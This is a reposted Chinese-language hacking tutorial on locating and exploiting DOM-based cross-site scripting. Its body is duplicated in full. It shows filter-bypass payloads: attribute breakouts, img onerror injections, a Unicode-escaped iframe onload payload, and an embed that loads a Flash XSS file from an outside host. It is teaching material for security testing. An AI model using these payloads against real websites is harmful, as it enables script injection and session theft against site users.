關(guān)于DOM xss跨站的一點(diǎn)點(diǎn)經(jīng)驗(yàn)之談
發(fā)布日期:2022-01-24 15:03    |    文章來(lái)源:源碼中國(guó)
										
									
									
Xss的危害各位小牛 大牛們都意識(shí)到了Xss開(kāi)始的csrf和掛馬 到盜cookies和ajax 到xssshell 還有各種利用.... 
我們一般找到的都是大多數(shù)都停留在找直接輸入輸出上,這類(lèi)型的一般很容易被過(guò)濾。
隱蔽型的就是DOM xss了.
也就是不是直接輸出的,

換句話(huà)話(huà)說(shuō),輸出內(nèi)容,在源代碼里看不到.
比如你這里這個(gè)的話(huà), 你右鍵,查看源代碼的話(huà) 內(nèi)容都是直接可以看到的這種就是直接 輸入輸出的
這個(gè)就是直接輸出類(lèi)型
對(duì)于查找DOM XSS的基本方法:
一般是這樣的, 先發(fā)一個(gè)正常的內(nèi)容,
然后F12打開(kāi)調(diào)試工具(火狐Firebug插件);
定位到你發(fā)的內(nèi)容上,調(diào)試工具里,有一個(gè)箭頭,可以選擇網(wǎng)頁(yè)里指定的位置的.
然后看你發(fā)送的內(nèi)容里 有沒(méi)有什么隱藏的屬性 或自定義屬性
哦 通常的情況是<a href="xxx" title="你輸入的某句話(huà)">xxxxxxx</a>
而且,“你輸入的某句話(huà)” ,你直接查看源代碼是看不到的
換句話(huà)說(shuō), <a href="xxx" title="你輸入的某句話(huà)">xxxxxxx</a> 這個(gè) 是被動(dòng)態(tài)產(chǎn)生的
這個(gè)時(shí)候,就有潛在的問(wèn)題來(lái)了。 如果 “你輸入的某句話(huà)” 寫(xiě)為xxxxxxxxx"><img><"
會(huì)變成<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a>
就會(huì)插入一個(gè)HTML標(biāo)簽進(jìn)去了
但是 實(shí)際情況下," , > 都是被過(guò)濾的(到了這里一般的黑友會(huì)說(shuō)轉(zhuǎn)義了過(guò)濾了啊沒(méi)得突破了-_-我曾經(jīng)也是這樣)
你輸入的某句話(huà) 寫(xiě)為
xxxxxxxxx"><img><"
由于是動(dòng)態(tài)產(chǎn)生的 最后" 會(huì)自動(dòng)變?yōu)?quot; 大家覺(jué)得很奇怪吧等下解釋
>---> >
< ----> <所以最后效果還是<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a> (而且很多程序員,沒(méi)有過(guò)濾& )
下面我們本地測(cè)試下
 
<div id="m">x</div>
<script>
var x="內(nèi)容";
document.getElementById("m").innerHTML=x;
</script>
內(nèi)容就是我們輸入的內(nèi)容如<script> <iframe>各種標(biāo)簽= =,這些在一般網(wǎng)站輸入都被過(guò)濾了的 對(duì)< ' ">等等各種轉(zhuǎn)義了的話(huà),我們突破就很難.
測(cè)試一下
 
<script>
function test(n){
alert(n);}
</script> www.jb51.net
<img src="1" onerror="test('gainover')"></img>
<img src="1" onerror="test('gainover');+function(){alert(/xx/)}()//')"></img>'
一個(gè)編碼列子再給大家寫(xiě)個(gè)列子
 
<div id="y"></div>
<img id="x" class="audio" src="xxxx" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf"><embed src="http://xsst.sinaapp.com/Xss.swf"type="application/x-shockwave-flash"allowscriptaccess="always"><#.mp3"></p> <script>
document.getElementById("y").innerHTML=document.getElementById("x").alt;
</script>xxx.innerHTML= yyy.
某個(gè)屬性- -成功編碼繞過(guò)("="=')編碼問(wèn)題不是我開(kāi)發(fā)的別問(wèn)我了-_-~!
我們還可以這樣來(lái)測(cè)試下
 
<div id="m">x</div>
<script>
var x="\u003ciframe onload=alert(1)\u003e";
document.getElementById("m").innerHTML=x;
</script>
Unicode字符列表:http://zh.wikipedia.org/wiki/Unicode%E5%AD%97%E7%AC%A6%E5%88%97%E8%A1%A8
Xss安全測(cè)試字符轉(zhuǎn)換工具:http://app.baidu.com/app/enter?appid=280383
作者 90sec
									我們一般找到的都是大多數(shù)都停留在找直接輸入輸出上,這類(lèi)型的一般很容易被過(guò)濾。
隱蔽型的就是DOM xss了.
也就是不是直接輸出的,

換句話(huà)話(huà)說(shuō),輸出內(nèi)容,在源代碼里看不到.
比如你這里這個(gè)的話(huà), 你右鍵,查看源代碼的話(huà) 內(nèi)容都是直接可以看到的這種就是直接 輸入輸出的
這個(gè)就是直接輸出類(lèi)型
對(duì)于查找DOM XSS的基本方法:
一般是這樣的, 先發(fā)一個(gè)正常的內(nèi)容,
然后F12打開(kāi)調(diào)試工具(火狐Firebug插件);
定位到你發(fā)的內(nèi)容上,調(diào)試工具里,有一個(gè)箭頭,可以選擇網(wǎng)頁(yè)里指定的位置的.
然后看你發(fā)送的內(nèi)容里 有沒(méi)有什么隱藏的屬性 或自定義屬性
哦 通常的情況是<a href="xxx" title="你輸入的某句話(huà)">xxxxxxx</a>
而且,“你輸入的某句話(huà)” ,你直接查看源代碼是看不到的
換句話(huà)說(shuō), <a href="xxx" title="你輸入的某句話(huà)">xxxxxxx</a> 這個(gè) 是被動(dòng)態(tài)產(chǎn)生的
這個(gè)時(shí)候,就有潛在的問(wèn)題來(lái)了。 如果 “你輸入的某句話(huà)” 寫(xiě)為xxxxxxxxx"><img><"
會(huì)變成<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a>
就會(huì)插入一個(gè)HTML標(biāo)簽進(jìn)去了
但是 實(shí)際情況下," , > 都是被過(guò)濾的(到了這里一般的黑友會(huì)說(shuō)轉(zhuǎn)義了過(guò)濾了啊沒(méi)得突破了-_-我曾經(jīng)也是這樣)
你輸入的某句話(huà) 寫(xiě)為
xxxxxxxxx"><img><"
由于是動(dòng)態(tài)產(chǎn)生的 最后" 會(huì)自動(dòng)變?yōu)?quot; 大家覺(jué)得很奇怪吧等下解釋
>---> >
< ----> <所以最后效果還是<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a> (而且很多程序員,沒(méi)有過(guò)濾& )
下面我們本地測(cè)試下
復(fù)制代碼
代碼如下:<div id="m">x</div>
<script>
var x="內(nèi)容";
document.getElementById("m").innerHTML=x;
</script>
內(nèi)容就是我們輸入的內(nèi)容如<script> <iframe>各種標(biāo)簽= =,這些在一般網(wǎng)站輸入都被過(guò)濾了的 對(duì)< ' ">等等各種轉(zhuǎn)義了的話(huà),我們突破就很難.
測(cè)試一下
復(fù)制代碼
代碼如下:<script>
function test(n){
alert(n);}
</script> www.jb51.net
<img src="1" onerror="test('gainover')"></img>
<img src="1" onerror="test('gainover');+function(){alert(/xx/)}()//')"></img>'
一個(gè)編碼列子再給大家寫(xiě)個(gè)列子
復(fù)制代碼
代碼如下:<div id="y"></div>
<img id="x" class="audio" src="xxxx" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf"><embed src="http://xsst.sinaapp.com/Xss.swf"type="application/x-shockwave-flash"allowscriptaccess="always"><#.mp3"></p> <script>
document.getElementById("y").innerHTML=document.getElementById("x").alt;
</script>xxx.innerHTML= yyy.
某個(gè)屬性- -成功編碼繞過(guò)("="=')編碼問(wèn)題不是我開(kāi)發(fā)的別問(wèn)我了-_-~!
我們還可以這樣來(lái)測(cè)試下
復(fù)制代碼
代碼如下:<div id="m">x</div>
<script>
var x="\u003ciframe onload=alert(1)\u003e";
document.getElementById("m").innerHTML=x;
</script>
Unicode字符列表:http://zh.wikipedia.org/wiki/Unicode%E5%AD%97%E7%AC%A6%E5%88%97%E8%A1%A8
Xss安全測(cè)試字符轉(zhuǎn)換工具:http://app.baidu.com/app/enter?appid=280383
作者 90sec
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
									相關(guān)文章
														
														
														
														
														
														
														
														
														
														
									
									
									
								 關(guān)注官方微信
                    關(guān)注官方微信